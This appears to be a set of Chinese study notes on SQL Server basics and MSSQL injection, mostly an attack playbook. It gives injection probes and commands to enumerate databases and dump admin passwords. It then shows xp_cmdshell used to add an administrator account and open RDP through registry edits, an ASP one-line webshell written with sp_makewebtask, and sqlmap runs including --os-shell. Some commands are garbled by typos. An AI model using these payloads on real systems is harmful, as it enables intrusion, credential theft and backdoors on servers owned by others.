Mssql注入漏洞认识
用的asp、aspx可能用的mssql
sql server2012
特点:
高性能,可充分利用win的优势
系统管理先进,支持win图形化管理工具,支持本地和远程的系统管理和配置
强壮的事务处理功能,采用各种方法保证数据的完整性
支持对称多处理器结构、存储过程、ODBC,并且有自主的SQL语言。sqlserver以内置的数据复制功能、强大的管理工具、与因特尔的紧密集成和开放系统结构为用户、等提供的数据库平台
sqlserver端口1433
管理员账号sa
hydra s.exe
mdf是数据库文件
ldf是数据库的日志文件
sql server2008使用方法
登陆方式两种
win、sql server
创建数据库,右击新建数据库
起名字
点击名字
创建表:右击表,新建表
指定表里的列
例如:
id、int
username、nvachar(50)
然后ctrl+s完成并编辑名字,dbo是附加的前缀,然后点击创建的表,然后进行创建用户
按照命令查询也可以
新建查询
use 数据库 点击执行
然后查询admin的所有列
select * from admin;
查询id=1的
select * from admin where id=1
插入内容
insert into admin(id,username,password)value(3,'test','password');
改密码更改3的密码
update admin set password='123123' where id =3
删除
delete from admin where id=3
要想删除数据库,首先右键任务--分离,然后全选,然后确定删除后,找mssql的,再把数据库的路径的对应的删除就行了
版本注意数据库的兼容问题,2003强行附加带2008会出现一些问题
数据库的附加:
右击数据库,点击附加,然后添加,找到数据库的路径点击mdf的,然后确定
版本问题:
右击数据库,点击生成脚本,然后选择版本 、
用户名的服务器角色sysadmin就是sa权限
要想下载数据库,就得先分离才能继续复制、移动
mssql数据库权限
sa权限:数据库操作,文件管理,命令执行,注册表读取等system
db权限:文件管理,数据库操作等users-adminstrators
public权限:数据库操作 guest-users
一般数据库代码都是在conn.asp或者dbconfig.asp 这是asp
aspx的一般在web.config
mssql数据库注入
判断有无注入
and 1=1
and 1=2
/
-0
因为代码没有对输入做出严格的过滤产生的
初步判断是否是mssql
and user>0
判断数据库系统
and(select count(*)from sysobjects)>0 mssql
and(select count(*)from msysobjects)>0 access
测试权限结构
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
and 1=(select IS_MEMBER('db_owner'));--
查看数据库版本信息
and 1=(select @@version)
也可以
id=@@version
获取第一个用户的数据库
and 1=(select top 1 name from master..sysdatebases where dbid>4)
获取第一个张表明
and 1=(select top 1 name from sysobjects where xtype='u')
不等于用闭合的
name<>'名称'
爆数据库
and 1=(select name from master..sysdatebases for xml path)
爆数据库表
and 1=(select name from sysobjects for xml path)
获取第一列的列名
and 1=(select top 1 name from syscolumns where id =(select id from sysobjects where name ='users'))
然后查看用户名密码
and 1=(select top 1 admin from admin)
and 1=(select top 1 pass from admin)
利用mssql扩展存储注入攻击
1.检测与恢复扩展存储
判断xp_cmdshell扩展存储是否存在
and 1=(select count(*) fron master.dbo.sysobjects where xtype = 'X' AND name='xp cmdshell')
判断xp_regread扩展存储过程是否存在
and 1=(select count(*) from master.dbo.sysobjects where name='xp_regread')恢复
EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC
sp_configure'xp_cmdshell', 1;RECONFIGURE;
;exec sp_dropextendedproc xp_cmdshell,'xplog70.dll'
利用xp_cmdshell扩展执行任意命令
;drop table black
;create TABLE black(mulu varchar(7996) NULL,ID int NOT NULL IDENTITY(1,1))--;insert into black exec master..xp_cmdshell 'dir c:\'
and 1= (select top 1 mulu from black where id=1)
新建用户
;exec master..xp_cmdshell 'net user test test /add 新建用户
加入到管理员权限
;exec master..xp_cmdshell 'net localgroup administrators test /add'
远程登录cmd
mstsc
远程没开启,就让他开
打开3389
;exec master..xp_cmdshell 'sc config termservice start=auto'
;exec master..xp_cmdshell 'net start termservice'
; e x e c m a s t e r . .x p_c m d s h e l l 'r e g a d d"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server"/vfDenyTSConnections/t REG_DWORD/d 0x0 /f’//允许外部连接
; e x e c m a s t e r . .x p_c m d s h e l l 'r e g a d d"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD/d 0x50/f‘ //改端口到80
添加和删除一个SA权限的用户test:(需要SA权限)
exec master.dbo.sp_addlogin test,password
exec master.dbo.sp_addsrvrolemember test,sysadmin
停掉或激活某个服务。(需要SA权限)
exec master..xp_servicecontrol'stop','schedule'
exec master..xp_servicecontrol'start','schedule'
开启远程数据库1
;select* from OPENROWSET('SQLOLEDB','server=servername;uid=sa;pwd=apachy_123','select * from table1')
开启远程数据库2
;select* from OPENROWSET('SQLOLEDB','uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;’,'select *from table'
利用sp_makewebtask写入一句话
;exec sp_makewebtask
'c.\inetpub\wwwroot\x.asp','select"%3C%25%65%76%61%6C%20%72%65%71%75%65%73%74%28%22%63%68%6F%70%70%65%72%22%29%25%3E""--
http://mssql.sql.com/aspx.aspx?id=1%20;exec%20sp_makewebtask%20%20%27c.\inetpub\wwwroot\ms\×1.asp%27,%27select%27%27<%execute(request("cmd"")%>%27%27%27--
注意上面的url编码后,看ms,更改为网站的端口
修改管理员密码
update admin set password=123123 where username='admin';
通过共聚getwebshell增强版
来
插入代码
('<%excute(request("cmd"))%>')--
注意网站根目录
也可以用一键备份
用sqlmap跑
sqlmap.py -u "192.168.0.1:8082/test.aspx?id=1" --is-dba
看权限是否是系统管理员权限
sqlmap.py -u "192.168.0.1:8082/test.aspx?id=1" --current-user
看当前用户名名称
sqlmap.py -u "192.168.0.1:8082/test.aspx?id=1" --privilegs
看权限
sqlmap.py -u "192.168.0.1:8082/test.aspx?id=1" --os-shell
执行系统命令
sqlmap.py -u "192.168.0.1:8082/test.aspx?id=1" --dbs
列出数据库
sqlmap.py -u "192.168.0.1:8082/test.aspx?id=1" --current-db
查看当前数据库
sqlmap.py -u "192.168.0.1:8082/test.aspx?id=1" --tables -D test --couent
统计每个表的数据
sqlmap.py -u "192.168.0.1:8082/test.aspx?id=1" --columns -T admin -D test
查看admin有哪些列
sqlmap.py -u "192.168.0.1:8082/test.aspx?id=1" --dump -C admin.pass -T -D test
指定表查看
sqlmap.py -u "192.168.0.1:8082/test.aspx?id=1" --dump -T -D test
看所有的
防注入的代码
/**/
+
%0a
代替空格
还有大小写的区分的
selcet
大写
绕过
SELECT